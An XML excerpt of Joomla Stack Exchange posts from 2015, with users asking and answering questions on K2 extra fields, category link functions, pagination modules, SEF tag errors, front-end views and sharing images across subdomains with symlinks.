  <row Id="13801" PostTypeId="1" AcceptedAnswerId="16369" CreationDate="2015-09-29T20:17:53.020" Score="3" ViewCount="662" Body="&lt;p&gt;My Joomla 3.4.4 website is not showing &lt;code&gt;Database Queries&lt;/code&gt; in &lt;code&gt;Joomla Debug Console&lt;/code&gt; at the &lt;code&gt;site&lt;/code&gt; front-end but it can be seen at the &lt;code&gt;Administrator&lt;/code&gt; back-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Below is the screenshot at the front-end&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MwUDl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MwUDl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And here's at the back-end&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/x7Qbq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x7Qbq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's not due to my custom template since I have already tried changing the template back to the default &lt;code&gt;protostar&lt;/code&gt; template but it's still not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="5694" LastEditDate="2015-09-29T20:23:50.087" LastActivityDate="2016-09-16T07:12:54.630" Title="Joomla Debug Console does not show Database Queries" Tags="|joomla-3.x|joomla-3.4|mysql|database|debug|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13803" PostTypeId="2" ParentId="13775" CreationDate="2015-09-30T04:33:45.833" Score="1" Body="&lt;p&gt;A good WYSIWYG editor for Joomla (like JCE) will assist you in performing such tasks. Alternatively, you can create K2 Extra Fields and place them where you want your ads to be. This will provide more &quot;granular&quot; control over what gets output but the caveat is that you cannot move these placements/positions by drag'n'drop once coded into your item.php template override. Obviously :)&lt;/p&gt;&#xA;" OwnerUserId="7022" LastActivityDate="2015-09-30T04:33:45.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="208" CreationDate="2015-09-30T04:38:48.947" Score="2" Body="&lt;p&gt;@reactionfaye 's reply above is correct. For reference, this has been part of K2 since Nov 2012 :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally introduced in this blog post for the release of K2 v2.6.2 (&lt;a href=&quot;http://getk2.org/blog/1068-k2-v262-now-available&quot; rel=&quot;nofollow&quot;&gt;http://getk2.org/blog/1068-k2-v262-now-available&lt;/a&gt;): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So how would you directly output individual extra fields in your K2&#xA;  overrides? Simple. Just do something like this (e.g. in item.php) to&#xA;  get the extra field name:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$this-&gt;item-&gt;extraFields-&gt;EXTRAFIELDALIASHERE-&gt;name &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To get the extra field value you would simply do this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$this-&gt;item-&gt;extraFields-&gt;EXTRAFIELDALIASHERE-&gt;value&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now replace EXTRAFIELDALIASHERE with the actual alias of the extra&#xA;  field you wish to output.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7022" LastEditorUserId="7022" LastEditDate="2015-09-30T04:44:23.603" LastActivityDate="2015-09-30T04:44:23.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13805" PostTypeId="2" ParentId="13675" CreationDate="2015-09-30T04:48:11.133" Score="2" Body="&lt;p&gt;Yes, it's possible to do so with K2 in a module. Look at the K2 Users module and you'll see there's an option to display a list of users belonging to a certain K2 User Group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of how I have this setup on a Joomla 1.5 site (the settings are identical on all major Joomla releases - 1.5, 2.5 &amp;amp; 3.x): &lt;a href=&quot;http://jmp.sh/3QsVCwf&quot; rel=&quot;nofollow&quot;&gt;http://jmp.sh/3QsVCwf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7022" LastActivityDate="2015-09-30T04:48:11.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="2" ParentId="13590" CreationDate="2015-09-30T04:52:27.603" Score="2" Body="&lt;p&gt;K2 (by default) does not allow categorizing an item into multiple categories. It's best to use tagging for that matter. However, if you really need this sort of functionality, then indeed &quot;Additional Categories for K2&quot; (&lt;a href=&quot;http://extensions.joomla.org/extension/additional-categories-for-k2&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/additional-categories-for-k2&lt;/a&gt;) is your best option.&lt;/p&gt;&#xA;" OwnerUserId="7022" LastActivityDate="2015-09-30T04:52:27.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13807" PostTypeId="1" AcceptedAnswerId="13810" CreationDate="2015-09-30T07:41:56.070" Score="2" ViewCount="56" Body="&lt;p&gt;I have another question which was kindly answered by @Lodder here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13796/echo-category-form-field-type-title-in-module/13797#13797&quot;&gt;Echo Category form field type title in Module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the link which is produced, I want to separate the link and title from the category, meaning I can add the link to a parent button and the title within that button - how can this be done using the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-&amp;lt;?php echo $buttonWidth;?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $categoryLinkOne; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;button class=&quot;btn btn-default col-md-12&quot; type=&quot;button&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                    &amp;lt;img class=&quot;img-responsive center-block&quot; src=&quot;&amp;lt;?php echo $moduleLoc,$iconOne; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $categoryTitleOne; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php if($showIntroTextOne==1):?&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $introTextOne; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php if($params-&amp;gt;get('useTwo')==1){?&amp;gt;  &#xA;    &amp;lt;div class=&quot;col-md-&amp;lt;?php echo $buttonWidth;?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $categoryLinkTwo; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;button class=&quot;btn btn-default col-md-12&quot; type=&quot;button&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                    &amp;lt;img class=&quot;img-responsive center-block&quot; src=&quot;&amp;lt;?php echo $moduleLoc,$iconTwo; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $categoryTitleTwo; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php if($showIntroTextTwo==1):?&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $introTextTwo; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-09-30T09:38:23.777" Title="Separate Link and Title from function" Tags="|joomla-3.x|php|module|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13809" PostTypeId="1" CreationDate="2015-09-30T08:30:07.090" Score="1" ViewCount="1291" Body="&lt;p&gt;I have a website with a lot of images and many of them are going to be used by two subdomains. I wanted to avoid uploading the same images twice, so I thought maybe to use the images from the domain.com for my sub.domain.com - is that possible and how?&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2016-02-27T11:12:54.597" Title="How to use images from the domain images folder for all subdomains?" Tags="|.htaccess-configuration|configuration|global-configuration|images|" AnswerCount="1" CommentCount="5" ClosedDate="2015-10-02T07:11:53.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="2" ParentId="13807" CreationDate="2015-09-30T08:49:05.710" Score="1" Body="&lt;p&gt;I'll use the function I wrote for this.&lt;/p&gt;&#xA;&lt;p&gt;So, we're going to add another argument to the function to define the type of button/link we want to display and set a default value of &lt;code&gt;normal&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function displayCategoryLink($id, $type = 'normal')&#xA;{&#xA;    require_once JPATH_SITE . '/components/com_content/helpers/route.php';&#xA;&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('title'))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = '. (int)$id);&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    try&#xA;    {&#xA;        $result = $db-&amp;gt;loadResult();&#xA;    }&#xA;    catch (Exception $e)&#xA;    {&#xA;        $result = '';&#xA;    }&#xA;&#xA;    $link = JRoute::_('index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=' . $id); &#xA;    &#xA;    if ($type == 'extended')&#xA;    {&#xA;        $html = '&#xA;        &amp;lt;a href=&amp;quot;' . $link . '&amp;quot;&amp;gt;&#xA;            &amp;lt;button class=&amp;quot;btn btn-default col-md-12&amp;quot; type=&amp;quot;button&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;col-md-4&amp;quot;&amp;gt;&#xA;                    &amp;lt;img class=&amp;quot;img-responsive center-block&amp;quot; src=&amp;quot;' . $moduleLoc,$iconOne . '&amp;quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;col-md-8&amp;quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;' .  $result . '&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/a&amp;gt;';&#xA;    }&#xA;    else&#xA;    {&#xA;        $html = '&amp;lt;a href=&amp;quot;' . $link . '&amp;quot;&amp;gt;' . $result . '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;&#xA;    return $html;&#xA;}&#xA;&#xA;&#xA;displayCategoryLink($params-&amp;gt;get('catOne', 0));&#xA;displayCategoryLink($params-&amp;gt;get('catTwo', 0));&#xA;displayCategoryLink($params-&amp;gt;get('catThree', 0), 'extended');&#xA;displayCategoryLink($params-&amp;gt;get('catFour', 0), 'extended');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please note that you're also using &lt;code&gt;$moduleLoc,$iconOne&lt;/code&gt; for the image source, so you'll either need to pass these values through the function as an argument, or define them yourself inside the function.&lt;/p&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;Here if your updated code that should be in the &lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;col-md-&amp;lt;?php echo $buttonWidth;?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;            &amp;lt;?php displayCategoryLink($params-&amp;gt;get('catOne', 0), 'extended'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php if($showIntroTextOne == 1):?&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;col-md-12&amp;quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php echo $introTextOne; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php if($params-&amp;gt;get('useTwo') == 1) : ?&amp;gt;  &#xA;        &amp;lt;div class=&amp;quot;col-md-&amp;lt;?php echo $buttonWidth;?&amp;gt;&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;                &amp;lt;?php displayCategoryLink($params-&amp;gt;get('catTwo', 0), 'extended'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php if($showIntroTextTwo == 1):?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;col-md-12&amp;quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php echo $introTextTwo; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-30T09:38:23.777" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="2" ParentId="13748" CreationDate="2015-09-30T12:29:39.947" Score="4" Body="&lt;p&gt;It's simple, your var $temp is a reference of the session object. So if you change the content of the object you change the session object itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to clone the object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$temp = clone $session-&amp;gt;get('whoami');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you create a new object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$temp = new stdClass();&#xA;$temp-&amp;gt;type = $session-&amp;gt;get('whoami')-&amp;gt;type;&#xA;$temp-&amp;gt;id = $session-&amp;gt;get('whoami')-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your var dump should look like this now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [type] =&amp;gt; s&#xA;    [id] =&amp;gt; 1&#xA;)&#xA;object(stdClass)#42 (2) {&#xA;  [&quot;type&quot;]=&amp;gt;&#xA;  string(1) &quot;s&quot;&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;}&#xA;1stdClass Object&#xA;(&#xA;    [type] =&amp;gt; s&#xA;    [id] =&amp;gt; 1&#xA;)&#xA;object(stdClass)#812 (2) {&#xA;  [&quot;type&quot;]=&amp;gt;&#xA;  string(1) &quot;s&quot;&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/de/language.oop5.references.php&quot; rel=&quot;nofollow&quot;&gt;PHP Manual Object References&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.oop5.cloning.php&quot; rel=&quot;nofollow&quot;&gt;PHP Manual Object cloning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2015-09-30T19:02:27.960" LastActivityDate="2015-09-30T19:02:27.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13813" PostTypeId="2" ParentId="13727" CreationDate="2015-09-30T13:35:09.773" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Edited&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you have created a template override of the article view, then you have to modify a few things at &lt;code&gt;templates\mytemplate\html\com_content\article\default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Declare a global variable as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $myPageNavigation;&#xA;$myPageNavigation = $this-&amp;gt;item-&amp;gt;pagination;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove all the snippets that render the pagination which are associated to &lt;code&gt;paginationposition&lt;/code&gt; and &lt;code&gt;paginationrelative&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then place the code below anywhere in your &lt;code&gt;template\mytemplate\index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $GLOBALS['myPageNavigation'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is't, just a POC though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Previous Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming your Joomla version is 2.5.x or 3.x, below is my pseudo concept using&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JPagination.html&quot; rel=&quot;nofollow&quot;&gt;JPagination&lt;/a&gt;, &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JInput.html&quot; rel=&quot;nofollow&quot;&gt;JInput&lt;/a&gt; and by creating a simple pagination module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, in your component's view, you need to remove the snippet that render the pagination and also set three JInput values which are required for your pagination module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;set( 'total', $total);&#xA;$jinput-&amp;gt;set( 'limitstart', $limitstart);&#xA;$jinput-&amp;gt;set( 'count', $count);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then implement a module to render a pagination something like below,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$total = $jinput-&amp;gt;getInt( 'total', 0);&#xA;$limitstart = $jinput-&amp;gt;getInt( 'limitstart', 0);&#xA;$count = $jinput-&amp;gt;getInt( 'count', 10);&#xA;jimport('joomla.html.pagination');&#xA;$pageNav = new JPagination($total, $limitstart, $count);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can echo the pagination in your module's view something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $pageNav-&amp;gt;getResultsCounter(); &#xA;echo $pageNav-&amp;gt;getPagesLinks();&#xA;echo $pageNav-&amp;gt;getPagesCounter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, assign your module to any position in your template which must also be associated with your component's menu.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="5694" LastEditDate="2015-10-01T14:46:06.527" LastActivityDate="2015-10-01T14:46:06.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="1" CreationDate="2015-09-30T14:22:12.553" Score="5" ViewCount="276" Body="&lt;p&gt;I created a multilingual web site(blog) and everything worked fine, except filtering by tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My web site is on Joomla 3.4.3 and I am storing content using K2 ver. 2.6.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My articles have tags and when I tap on tag (filter articles by tag) I'm getting a 404 error page. Filtering by tag crashes when I use SEF, if I turn off SEF - everything works properly. Any ideas how to solve the problem? What could be the source of the problem: Joomla or K2 or maybe the template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://iman007.com/en/tag/Android.html&quot; rel=&quot;noreferrer&quot;&gt;my blog and example of 404 page&lt;/a&gt; (SEF is turned on) If SEF is off then my filter by tag &quot;Android&quot; &lt;a href=&quot;http://iman007.com/index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;task=tag&amp;amp;tag=Android&amp;amp;Itemid=101&amp;amp;lang=en&quot; rel=&quot;noreferrer&quot;&gt;looks like this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is the same on Joomla 3.4.4 (I have local copy of the web site). I tried to switch off web pages suffix but it didn't solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use 3rd party applications for SEF and content. SEF is core Joomla option. Also there are advanced SEF options in K2. Joomla and K2 forums haven't helped to fix issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: turn off SEF is not a solution.&lt;/p&gt;&#xA;" OwnerUserId="7025" LastEditorUserId="1629" LastEditDate="2015-09-30T14:40:40.137" LastActivityDate="2015-12-04T00:59:11.123" Title="Joomla K2 tags don't work with SEF" Tags="|joomla-3.x|k2|tags|sef|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13816" PostTypeId="1" CreationDate="2015-09-30T21:01:59.673" Score="8" ViewCount="130" Body="&lt;p&gt;I created 2 front-end views.  One view is to list the records and an another view to edit a particular record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first view name is 'products' which shows the list of products from the table.  In the default.php while forming the list of products I formed the anchor link like &lt;code&gt;index.php?option=com_productman&amp;amp;view=product&amp;amp;product_id=x&lt;/code&gt;for each row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second view name is 'product' where it gets the product_id from URL and shows the individual product.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am not sure whether this is the right way of doing.&lt;/li&gt;&#xA;&lt;li&gt;There is no separate Itemid for the product view because it is not launched from Joomla menu item.&lt;/li&gt;&#xA;&lt;li&gt;The breadcrumbs are not showing properly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone advice whats the correct way of developing front-end views.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-10-01T10:02:17.637" Title="What is the correct method of developing a front-end list and edit view" Tags="|joomla-3.x|view|front-end|breadcumb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="2" ParentId="13809" CreationDate="2015-10-01T07:35:54.120" Score="2" Body="&lt;p&gt;If your sites are on Apache web server, you can share images folder from one site to the other, by &lt;strong&gt;creating symbolic links&lt;/strong&gt;. With this technique I successfully created common images folder, which is shared by three Joomla sites on the same hosting server, without any problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used instructions from the following URL &lt;a href=&quot;http://www.webhostingbuzz.com/wiki/how-create-symbolic-link-cpanel/&quot; rel=&quot;nofollow&quot;&gt;How to create a symbolic link in cPanel&lt;/a&gt;, by using method #2, creating PHP scripts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ever needed to create a symlink in cPanel? Well, cPanel itself doesn’t have any feature to work with symbolic links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to SSH into your server and execute the following command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ln -s /path/to/target /path/to/shortcut&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will create a symbolic link for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if SSH is not available? Unfortunately, FTP does not support creation of symbolic links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There’re at least 2 more options you can try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a cron job in cPanel with the linux command mentioned above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Don’t forget to delete the cronjob after the symlink is created. Failing to do this will result in unpredictable issues.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Create a PHP script and run it in your browser. It will look like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$target = 'uploads.php';&lt;br&gt;&#xA;  $shortcut = 'uploads';&lt;br&gt;&#xA;  symlink($target, $shortcut);&lt;br&gt;&#xA;  echo readlink($shortcut);   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you need more details on this technique, I can provide them, but it seems fairly straightforward to me.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-27T11:12:54.597" LastActivityDate="2016-02-27T11:12:54.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13819" PostTypeId="2" ParentId="13816" CreationDate="2015-10-01T10:02:17.637" Score="5" Body="&lt;p&gt;It is the right way :-) Build your links with JRoute, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_productman&amp;amp;view=product&amp;amp;product_id=x');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will automatically append the menu item ID of your list page. I assume you have a menu item for the products view? If not then you have to add a &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_menu_type_to_the_site_part&quot;&gt;menu type&lt;/a&gt; for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make a menu type for the product detail page and make a hidden menu entry to it in the backend and then use that item id in your links, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_productman&amp;amp;view=product&amp;amp;product_id=x&amp;amp;Itemid=123');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The breadcrumbs will be build depending on your menu structure by default. So if your item ID is set right, you will also have some basic breadcrumbs.&#xA;You can also build the breadcrumbs by yourself in the view:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_add_breadcrumbs&quot;&gt;https://docs.joomla.org/J3.x:How_to_add_breadcrumbs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-10-01T10:02:17.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
